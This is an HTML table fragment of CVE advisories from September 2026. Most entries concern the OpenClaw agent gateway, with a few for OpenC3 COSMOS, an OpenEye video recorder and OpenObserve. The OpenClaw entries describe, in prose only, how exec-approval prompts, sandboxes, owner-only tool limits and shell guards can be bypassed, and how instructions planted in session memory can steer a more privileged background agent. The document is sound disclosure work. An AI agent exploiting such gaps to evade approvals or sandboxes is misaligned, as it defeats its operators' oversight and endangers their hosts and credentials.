&lt;td&gt;OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.12.0 until 7.3.0, an authenticated actor can write the pypi_url setting through set_setting at POST /openc3-api/api, then cause OpenC3::PluginModel.install_phase2 in openc3/lib/openc3/models/plugin_model.rb to interpolate the value into a shell command while installing a plugin with Python dependency metadata. Shell metacharacters in the setting are interpreted by the command shell, allowing arbitrary operating-system commands to run as the openc3 service user with access to Redis and bucket credentials. Open-source deployments permit any authenticated user to reach the affected operations, while Enterprise deployments require an administrator. This issue is fixed in version 7.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77601&quot; target=&quot;_blank&quot;&gt;CVE-2026-77601&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenC3--cosmos&lt;/td&gt;
&lt;td&gt;OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.6 until 7.3.0, an authenticated actor with system_set permission can store a shared screen through POST /openc3-api/screen whose BUTTON widget action is evaluated by openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue in another operator&#039;s browser session when the button is activated. The stored script runs in the COSMOS origin and can read localStorage.openc3Token, allowing theft of the victim&#039;s bearer token, account takeover, and actions with the victim&#039;s privileges. The permissive content security policy contributes to execution but is not the primary root cause. This issue is fixed in version 7.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77394&quot; target=&quot;_blank&quot;&gt;CVE-2026-77394&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--matrix&lt;/td&gt;
&lt;td&gt;OpenClaw&#039;s Matrix integration (npm package @openclaw/matrix) versions &amp;gt;= 2026.2.2 and &amp;lt; 2026.8.1 lowercase complete Matrix user IDs - including historical localparts and the case-sensitive server-name portion - when deriving the OpenClaw authorization identity. As a result, distinct authenticated Matrix accounts can normalize to the same authorization identity. A Matrix participant controlling a colliding account identifier (a protocol-valid identifier that differs from the configured one only by characters OpenClaw case/Unicode folds; display-name matching is not required) can inherit allowlist, owner-command, exec-approval, or plugin-approval authority configured for another account. The issue is fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100541&quot; target=&quot;_blank&quot;&gt;CVE-2026-100541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw for iOS versions &amp;gt;= 2026.7.1 and &amp;lt; 2026.8.11 do not enforce saved Gateway TLS pins in the Control UI. While native connections enforced the saved Gateway fingerprint, the authenticated Terminal and session Dashboard WebViews omitted it. If a user had accepted a Gateway fingerprint, an attacker able to redirect the same host and port and present a different certificate that is accepted by iOS system trust can serve a replacement Control UI page; opening the Terminal or a session Dashboard then allows that page to read the injected Gateway token or password. The stolen credential can grant operator access, including reading sensitive Gateway state and invoking host-capable tools. This issue is fixed in 2026.8.11.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100551&quot; target=&quot;_blank&quot;&gt;CVE-2026-100551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) before 2026.8.1 does not correctly enforce per-chat tool policies for Codex app-server runtime tools. A conversation-level tools.allow rule filtered OpenClaw tools but did not restrict the shell, process, file, and patch tools owned by the Codex runtime. When a lower-trust conversation was assigned to a Codex runtime and restricted with a per-chat tool allowlist, a participant able to trigger that agent could still reach native command and file tools, bypassing the configured allowlist. The practical impact depends on the runtime&#039;s host permissions and sandbox configuration. The issue is fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100552&quot; target=&quot;_blank&quot;&gt;CVE-2026-100552&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 contain an authorization bypass vulnerability in skill tool dispatch that fails to carry the sender&#039;s owner status. Non-owner senders authorized to invoke skill commands can access owner-only tools and server credentials reserved for owners.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100557&quot; target=&quot;_blank&quot;&gt;CVE-2026-100557&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 contain a command parser vulnerability where escaped newlines confuse exec allowlist parsing, allowing hidden commands to execute. Attackers can craft input with escaped newlines to bypass allowlist validation and execute additional commands without expected authorization prompts.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100559&quot; target=&quot;_blank&quot;&gt;CVE-2026-100559&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) versions &amp;gt;= 2026.3.22 and &amp;lt; 2026.8.1 contain an approval-bypass flaw in the exec approval policy: the policy could trust a command-running wrapper without inspecting the command carried in its arguments. After an operator allowlisted or permanently approved a benign wrapper invocation, a later agent turn could substitute an arbitrary inner command and execute it with the OpenClaw process&#039;s host privileges without a further approval prompt. Exploitation requires the relevant wrapper to resolve on the host and a prior operator decision allowing that wrapper. Transparent shell carriers and opaque utilities such as process monitors, tracers, namespace tools, and proxy wrappers were affected through related trust-resolution gaps. Fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100561&quot; target=&quot;_blank&quot;&gt;CVE-2026-100561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw is an agent gateway distributed as the npm package &#039;openclaw&#039;. In versions &amp;gt;= 2026.4.5 and &amp;lt; 2026.8.1, the Gateway validated a single DNS resolution result for a configured remote Chrome DevTools Protocol (CDP) hostname, but the raw WebSocket and Playwright transports performed a later, independent DNS resolution, discarding the DNS pinning enforced at validation time. An attacker who controls an approved CDP hostname or its DNS answers can exploit this check-then-use gap via DNS rebinding to make the Gateway connect to a loopback, private, link-local, cloud metadata, or other SSRF-policy-denied address. The impact depends on the remote CDP configuration, DNS timing, and the services reachable from the Gateway host. The issue is fixed in 2026.8.1; as a mitigation, disable hostname-based remote CDP endpoints or restrict them to trusted, stable infrastructure.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100567&quot; target=&quot;_blank&quot;&gt;CVE-2026-100567&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 fail to properly restrict access to operator command cron jobs, allowing model-visible agent callers to read and execute ownerless command jobs. Attackers can inspect stored environment variables and force-run disabled or unscheduled command jobs to access secrets and execute operator-authored commands.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100568&quot; target=&quot;_blank&quot;&gt;CVE-2026-100568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) before 2026.7.1 improperly handles case sensitivity in the model-facing cron tool: a mixed-case payload kind can pass the agent-facing shell-execution guard and later normalize into a command job. An actor able to steer a tool-enabled agent can therefore create a persistent cron job that executes attacker-selected commands with the privileges of the OpenClaw process user, resulting in access to host files and credentials and impact to scheduled service availability. The issue is limited to cron jobs created or edited through the model-facing cron tool; direct CLI and authorized Gateway scheduling surfaces are trusted operator controls. Fixed in 2026.7.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100580&quot; target=&quot;_blank&quot;&gt;CVE-2026-100580&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package `openclaw`) before 2026.7.1 fails to enforce the owner-only authorization requirement for Claude Code permission prompts delivered through the MCP channel bridge. An authorized non-owner channel sender with channel command access can approve or deny a pending permission request intended for the owner, causing the requested action to proceed without owner consent. The practical impact depends on the pending action and the host capabilities requested by the Claude Code run. The issue is fixed in version 2026.7.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100585&quot; target=&quot;_blank&quot;&gt;CVE-2026-100585&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw Codex before 2026.7.1 fails to properly enforce owner authorization when creating native conversation bindings. Non-owner channel senders with command access can create bindings to the native Codex runtime and execute host-capable turns with access to files, tools, and processes.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100586&quot; target=&quot;_blank&quot;&gt;CVE-2026-100586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.7.1 fail to properly validate owner authorization in the Codex computer-use installation command. Non-owner channel senders can install arbitrary plugins and execute MCP processes with OpenClaw user privileges, affecting host confidentiality, integrity, and availability.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100587&quot; target=&quot;_blank&quot;&gt;CVE-2026-100587&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) before 2026.7.1 does not enforce the administrator scope requirement on browser control when it is reached through the node.invoke method, although direct browser.request access requires administrator scope. In Gateway deployments that honor caller identity and narrower operator scopes, a write-scoped caller with access to a connected browser-capable node can inspect pages, navigate tabs, or interact with browser-visible applications without the configured admin requirement; practical impact depends on the browser profile and signed-in state. Shared-secret token and password callers are considered fully trusted operators under OpenClaw&#039;s security model and are not affected. The issue is fixed in 2026.7.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100588&quot; target=&quot;_blank&quot;&gt;CVE-2026-100588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.7.1 contain a sandbox bypass vulnerability in the browser tool that allows sandboxed sessions to access paired node browser actions despite allowHostControl=false configuration. Attackers with control over sandboxed agent input can select a paired node and perform host browser operations, inspecting or manipulating the connected browser profile and its authenticated state.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100589&quot; target=&quot;_blank&quot;&gt;CVE-2026-100589&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.7.1 fail to properly authorize non-owner users executing MCP configuration changes through /mcp set and /mcp unset commands. Attackers can persist arbitrary stdio MCP commands that execute with OpenClaw process privileges when configuration loads, compromising host confidentiality, integrity, and availability.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100596&quot; target=&quot;_blank&quot;&gt;CVE-2026-100596&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions 2026.5.1 through 2026.7.0 fail to apply the configured exec approval path to Google Meet node commands. The googlemeet.chrome command accepts caller-supplied audio command arrays and executes them on a paired node without going through the normal system.run approval flow. In deployments with the Google Meet plugin enabled, a paired Chrome node, and the googlemeet.chrome node command allowed, a tool-enabled agent able to invoke that command can execute attacker-selected processes on the paired node, impacting files, credentials, browser profiles, and availability on that node. The issue is fixed in 2026.7.1; as a workaround, remove googlemeet.chrome from allowed node commands or disable the Google Meet plugin.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100599&quot; target=&quot;_blank&quot;&gt;CVE-2026-100599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 fail to bind working directory context to reusable exec approvals, allowing approved commands to execute in different directories. Attackers with an allow-always approval can reuse it to run the same command against unreviewed files or repositories with materially different effects.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100530&quot; target=&quot;_blank&quot;&gt;CVE-2026-100530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) versions &amp;gt;= 2026.4.5 and &amp;lt; 2026.8.1 can lose the originating requester&#039;s restrictions and untrusted provenance when session-derived text is persisted to session memory. In deployments where session-memory capture and dreaming are enabled, a restricted external sender whose messages are admitted with limited tools can persist instructions that are later supplied to an unattended background (dreaming) agent holding broader file and command capabilities, allowing actions beyond the authority of the original turn and affecting files, commands, or services available to that agent. Exploitation requires the content to be captured, selected for later processing, and followed by the model. The issue is fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100535&quot; target=&quot;_blank&quot;&gt;CVE-2026-100535&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package openclaw) before 2026.8.1 could include deterministic hashes computed over the original, unredacted configuration in redacted configuration responses. When the Gateway password had low entropy and the remaining configuration values were reconstructable, these hashes acted as offline password verifiers: a caller able to obtain the redacted configuration (for example via config.get) could test password candidates offline without going through the rate-limited Gateway authentication path. Recovering the password could grant the documented shared-secret operator authority. Secret references were not affected in the same way. The issue is fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100543&quot; target=&quot;_blank&quot;&gt;CVE-2026-100543&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw is an npm-distributed gateway application. In versions &amp;gt;= 2026.7.1 and &amp;lt; 2026.8.1, Synology Chat attachment delivery could lose DNS pinning: the Gateway validated a single DNS result for a supplied file URL but then passed the original hostname to the Synology NAS, where it could resolve to a different destination. When attachment delivery accepted a remotely influenced hostname, an attacker could use DNS rebinding to make the NAS fetch a private or otherwise policy-denied resource and return its contents to the addressed conversation (server-side request forgery). Practical impact depends on NAS routing, resolver behavior, and the response available at the private destination. The issue is fixed in 2026.8.1; as a workaround, disable remote URL attachment forwarding in Synology Chat.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100555&quot; target=&quot;_blank&quot;&gt;CVE-2026-100555&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 contain a resource exhaustion vulnerability in the Gateway listener that allows unauthenticated clients to retain response sockets by sending WebSocket upgrade requests without matching connection semantics. Attackers can repeatedly send malformed upgrade requests to exhaust listener resources and cause denial of service without consuming the WebSocket pre-auth connection budget.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100558&quot; target=&quot;_blank&quot;&gt;CVE-2026-100558&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 contain an authorization bypass vulnerability where Allow Always approvals for exact commands persist as path-only grants on macOS and Linux. Attackers can reuse the same executable with different arguments to execute commands without triggering new approval prompts, potentially accessing files or internal services.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100560&quot; target=&quot;_blank&quot;&gt;CVE-2026-100560&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) versions &amp;gt;= 2026.3.28 and &amp;lt; 2026.8.1 allow an untrusted workspace .env file to set the CLOUDSDK_PYTHON_ARGS environment variable. When an operator starts OpenClaw in attacker-controlled workspace content and then runs the Gmail setup flow, that value is inherited when gcloud is launched, and the gcloud launcher passes it as arguments to the trusted Python interpreter. A crafted CLOUDSDK_PYTHON_ARGS value can therefore cause Python to execute attacker-supplied code with the OpenClaw host user&#039;s permissions, allowing credentials to be read, files to be modified, or other processes to be started. This issue is fixed in version 2026.8.1; as a workaround, run Gmail setup only from trusted workspaces and clear inherited CLOUDSDK_* variables beforehand.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100570&quot; target=&quot;_blank&quot;&gt;CVE-2026-100570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package `openclaw`) before 2026.7.1 fails to restrict owner-only infrastructure tools exposed through the chat.send endpoint. In Gateway deployments using authentication modes that honor caller identity and narrower operator scopes, a write-scoped non-owner caller can start a chat turn whose tool inventory includes the `gateway` and `cron` tools, causing the agent to invoke owner-only configuration or scheduling operations, including persistent state changes. Practical impact depends on the tools selected by the model and the caller&#039;s ability to steer the turn. Shared-secret token and password callers are treated as fully trusted operators under OpenClaw&#039;s security model and are outside the scope of this issue. The issue is fixed in 2026.7.1; as a workaround, restrict chat.send to administrators in identity-bearing deployments and remove `gateway` and `cron` from affected agent tool policies.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100578&quot; target=&quot;_blank&quot;&gt;CVE-2026-100578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) before 2026.7.1 incorrectly trusts requester provenance in message.action. In identity-bearing Gateway deployments (authentication modes that honor caller identity and narrower operator scopes), a write-scoped caller can supply another sender&#039;s identifier to the channel authorization checks and invoke a channel action under that spoofed requester identity, reaching operations the channel adapter would have denied to the real caller. Practical impact depends on the enabled channel, the action, and the target account&#039;s permissions. Shared-secret token and password callers are full trusted operators under OpenClaw&#039;s security model and are out of scope. The issue is fixed in 2026.7.1; as a workaround, restrict message.action to administrators and disable sensitive channel actions that rely on requester identity.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100579&quot; target=&quot;_blank&quot;&gt;CVE-2026-100579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) before 2026.7.1 is vulnerable to a time-of-check time-of-use race condition in OpenShell local mirror filesystem mutation operations. The remove, mkdir, and rename operations could act on a different filesystem target after OpenClaw completed its sandbox path-safety check, if the path is changed concurrently. An attacker able to win the race can cause a sandboxed operation to delete, create, or rename a host path outside the intended mirror root with the permissions of the OpenClaw process user. This does not require an operator to have granted host filesystem access outside the sandbox. The issue is fixed in 2026.7.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100597&quot; target=&quot;_blank&quot;&gt;CVE-2026-100597&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package openclaw) before 2026.7.1 incorrectly binds Signal approval reactions. In affected versions, a reaction intended to resolve a structured approval request could instead attach to ordinary outbound text when unrelated outbound messages and a pending approval are present in the same conversation. As a result, an approver&#039;s reaction to unrelated text could be interpreted as approving or denying a pending host action; the practical impact depends on the pending request, conversation timing, and the actions available to the OpenClaw process. The issue does not change the authority of correctly identified approvers. This is fixed in version 2026.7.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100598&quot; target=&quot;_blank&quot;&gt;CVE-2026-100598&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--slack&lt;/td&gt;
&lt;td&gt;OpenClaw Slack versions before 2026.8.1 fail to properly enforce sender allowlists in multi-person direct messages. Disallowed participants can trigger Slack agents and access tools and data granted to those agents by bypassing configured sender policies.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100575&quot; target=&quot;_blank&quot;&gt;CVE-2026-100575&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--voice-call&lt;/td&gt;
&lt;td&gt;openclaw&#039;s @openclaw/voice-call package before 2026.8.1 launches the configured agent for classic inbound voice calls without propagating the caller&#039;s identity or non-owner status. As a result, owner-only tool filtering can fail open and expose the agent&#039;s normal tool authority to a remote caller. A caller who is admitted by the configured inbound-call policy (open, pairing, or allowlist) on a deployment with inbound calling enabled can therefore drive tools intended for the trusted owner, potentially reading data, modifying files, executing commands, or controlling connected services depending on the agent&#039;s configuration. The issue is fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100544&quot; target=&quot;_blank&quot;&gt;CVE-2026-100544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--whatsapp&lt;/td&gt;
&lt;td&gt;@openclaw/whatsapp (npm) before 2026.8.1 exposes the WhatsApp login tool through the generic channel-tool path without preserving the originating sender&#039;s owner status, so the owner-only tool boundary is not enforced. An admitted non-owner sender able to steer the tool can request a forced login and receive a new QR code for a configured account, disconnecting the Gateway&#039;s WhatsApp account and causing loss of availability; full account relinking additionally requires the attacker to scan the returned QR code with another phone. The issue affects the owner-only tool boundary rather than WhatsApp transport authentication. Fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100532&quot; target=&quot;_blank&quot;&gt;CVE-2026-100532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenEye--Apex Network Video Recorder (NVR)&lt;/td&gt;
&lt;td&gt;OpenEye Apex Network Video Recorder (NVR) firmware 3.2.9.376 contains an OS command injection vulnerability in recbackup. An authenticated administrator can supply crafted backup-area configuration input that is passed to a shell command, allowing commands to execute with the privileges of the nvr user. The underlying design has been present since at least firmware 2.2.3.4. This vulnerability is resolved in OpenEye Apex version 3.4.3.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94367&quot; target=&quot;_blank&quot;&gt;CVE-2026-94367&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openobserve--openobserve&lt;/td&gt;
&lt;td&gt;OpenObserve is a cloud-native observability platform. Prior to 0.90.3, OpenObserve registers the /config/runtime endpoint without authentication and serializes the complete server configuration after applying the hide_sensitive_fields keyword filter. The filter does not recognize dsn or creds field names, so meta_postgres_dsn, meta_postgres_ro_dsn, meta_ddl_dsn, and usage_reporting_creds can be returned in plaintext to an unauthenticated network client. PostgreSQL deployments can expose database credentials, and the same response can disclose the root administrator email address, internal NATS address, filesystem layout, and other deployment details. This issue is fixed in version 0.90.3.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63645&quot; target=&quot;_blank&quot;&gt;CVE-2026-63645&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
